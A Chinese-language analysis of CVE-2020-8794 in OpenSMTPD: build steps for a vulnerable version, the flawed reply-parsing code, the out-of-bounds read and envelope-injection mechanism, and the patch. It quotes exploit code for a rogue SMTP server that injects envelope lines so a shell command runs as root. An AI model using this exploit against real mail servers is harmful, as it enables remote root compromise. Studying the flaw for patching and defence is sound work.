CVE-2020-8794 OpenSMTPD RCE 分析
环境搭建
系统:
Ubuntu 19.04
之前一直出现问题,就是系统版本的问题,由于系统版本低,OpenSMTPD比较新,很多依赖不兼容,编译也一直报错,浪费很多时间。
安装依赖:
sudo apt install automake libevent-dev libtool bison openssl-dev
sudo apt install libasr-dev
sudo apt install libz-dev
下载OpenSMTPD:
git clone https://github.com/OpenSMTPD/OpenSMTPD.git
cd OpenSMTPD
git checkout -b 748ff6830cba54dd2f6b008dc3d97f2a3a429a2f
安装OpenSMTPD
./bootstrap
./configure
make
sudo make install
影响版本
OpenSMTPD <= 6.6.4
漏洞分析
SMTP 客户端连接到服务端时,可以发送EHLO、MAIL FROM、RCPT TO之类的指令,服务端会回复单行或多行
第一行为三个数字+‘-’+字符串,如”250-ENHANCEDSTATUSCODES”
最后一行为三个数字+‘ ’+字符串,如”250 HELP”
客户端多行回复在mta_io() 函数中实现。
漏洞代码:smtpd/mta_session.c:1101:mta_io(struct io *io, int evt, void *arg)
static void
mta_io(struct io *io, int evt, void *arg)
{
struct mta_session *s = arg;
char *line, *msg, *p;
size_t len;
const char *error;
int cont;
……
case IO_DATAIN:
nextline:
line = io_getline(s->io, &len);
if (line == NULL) {
if (io_datalen(s->io) >= LINE_MAX) {
mta_error(s, "Input too long");
mta_free(s);
}
return;
}
log_trace(TRACE_MTA, "mta: %p: <<< %s", s, line);
if ((error = parse_smtp_response(line, len, &msg, &cont))) {
mta_error(s, "Bad response: %s", error);
mta_free(s);
return;
}
……
if (cont) { //表示还要继续读取
if (s->replybuf[0] == '\0')
(void)strlcat(s->replybuf, line, sizeof s->replybuf);
else {
line = line + 4;
if (isdigit((int)*line) && *(line + 1) == '.' &&
isdigit((int)*line+2) && *(line + 3) == '.' &&
isdigit((int)*line+4) && isspace((int)*(line + 5)))
(void)strlcat(s->replybuf, line+5, sizeof s->replybuf);
else
(void)strlcat(s->replybuf, line, sizeof s->replybuf);
}
goto nextline; //通过goto实现循环读取回复的行数
}
/* last line of a reply, check if we're on a continuation to parse out status and ESC.
* if we overflow reply buffer or are not on continuation, log entire last line.
*/
【1】 if (s->replybuf[0] != '\0') { //处理最后一行回复,此时cont为0了,表示这是最后一行了。
p = line + 4;
if (isdigit((int)*p) && *(p + 1) == '.' &&
isdigit((int)*p+2) && *(p + 3) == '.' &&
isdigit((int)*p+4) && isspace((int)*(p + 5)))
p += 5;
【2】 if (strlcat(s->replybuf, p, sizeof s->replybuf) >= sizeof s->replybuf)
(void)strlcpy(s->replybuf, line, sizeof s->replybuf);
}
漏洞成因:
正常‘\n’表示一行结束,但是如果输入”xyz\nstring\0”作为最后一行,则p指针指向‘string\0’,将string拼接在s->replybuf,在【2】处,通过p指针访问string其实就是越界读了,因为正常‘xyz\n’ 表示最后一行,已经结束了,string字符串是最后一行之后的数据。
由于iobuf_getline里只处理了字符串的第一个’\n’,并将其替换成‘\0’,所以传入的是”xyz\nstring\0”,则string中‘\n’就会保留,就能在envelop中注入新的一行。如果传入的是正常的”123 string\n”,则在string中的换行就会被替换‘\0’,那么拼接到replybuf中就是string中到第一个换行的部分数据,不能注入到envelop。
所以该漏洞利用的关键点在于最后一行的第四个字符要为‘\n’,这样string中‘\n’才能保留并拼接到replybuf中。
漏洞利用:
(1)将回复的三个数字码替换成‘4yz’或‘5yz’,replybuf的内容就会被写入envelop中的“errorline”中
(2)envelope是以 ”field: data\n“ 的形式保存,因为越界的string 可以包含’\n’,所以能在envelop中注入新的一行,对OpenSMTPD进行攻击。
Exp分析
static struct {
const char * command;
const char * user;
const char * dispatcher;
const char * maildir;
char lines[512];
} inject = {
.command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0",
.user = "root",
.dispatcher = "local_mail",
.maildir = NULL,
};
const int len = snprintf(inject.lines, sizeof(inject.lines), //要注入到envelop中的数据
"type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s",
inject.command, inject.dispatcher, inject.user);
static void
server_session(const char * const inject_lines)
{
const char * const error_code =
(exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553";
server_accept();
server_send("220 ent.of.line ESMTP\n");
server_recv("EHLO ");
server_send("250 ent.of.line Hello\n");
server_recv("MAIL FROM:<");
if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) !=
(exploit == SERVER_SIDE_EXPLOIT)) die();
if (inject_lines != NULL) {
if (inject_lines[0] == '\0') die();
if (inject_lines[0] == '\n') die();
if (inject_lines[strlen(inject_lines)-1] == '\n') die();
server_send("%s-Error\n", error_code); //通过错误码进行注入,
server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0');
//第一个'\n'用于iobuf_getline中'\n'转换成'\0',第二个'\n'用于另起一行。
} else {
server_send("%s Error\n", error_code);
server_recv("RSET");
server_send("250 Reset\n");
server_recv("QUIT");
server_send("221 Bye\n");
}
server_close();
}
补丁分析
这里通过检测len的大小来避免越界读,因为len是通过iobuf_getline函数获得,表示遇到第一个’\r’或’\n’的长度。这样第四个字符为‘\n’ 时,长度为4,不能进入漏洞处。
参考链接
OpenSMTPD:
https://github.com/OpenSMTPD/OpenSMTPD
https://www.openwall.com/lists/oss-security/2020/02/26/1
https://cert.360.cn/warning/detail?id=5ed8d8cc121c223ac27d877f9e7b20b9
https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install.txt
https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install-exploit.c
https://www.freebuf.com/vuls/228494.html